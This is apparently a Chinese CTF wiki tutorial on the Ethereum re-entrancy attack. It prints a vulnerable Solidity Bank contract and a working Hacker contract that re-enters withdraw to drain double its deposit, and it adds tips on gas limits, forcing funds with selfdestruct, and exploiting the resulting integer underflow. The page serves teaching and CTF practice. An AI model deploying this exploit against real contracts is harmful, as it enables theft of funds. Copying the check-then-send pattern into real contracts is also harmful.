跳转至

Re-Entrancy

重入攻击是智能合约中的经典攻击。以太坊 The DAO 项目遭受的重入攻击直接导致了以太坊(ETH)和以太坊经典(ETC)的硬分叉。

原理

假设有一个银行合约实现了以下取款功能,在 balanceOf[msg.sender] 充足时,合约会转账相应数量的以太币给调用者,并且将 balanceOf 减去相应值:

contract Bank {
    mapping(address => uint256) public balanceOf;
    ...
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balanceOf[msg.sender] -= amount;
    }
}

这个实现的问题在于,“先给钱后记账”。在以太坊中,合约的调用者可以是另一个智能合约,转账时收款合约的 fallback 函数会被调用。若 fallback 函数内再一次调用了对方的 withdraw 函数,由于此时 balanceOf 尚未减少,require 的条件仍然满足,导致可以再次取款。需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。假设攻击合约的存款有 1 ether,可以如下实现取出 2 ether:

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function hack() public {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}

此外有几个注意点:

  • 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。
  • 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback 函数,则需要新建一个合约,通过 selfdestruct 自毁强制转账。
  • 上述 fallback 实现中,先改写 status 后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。

重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。

题目

强网杯 2019

  • 题目名称 babybank

N1CTF 2019

  • 题目名称 h4ck

Note

注:题目附件相关内容可至 ctf-challenges/blockchain 仓库寻找。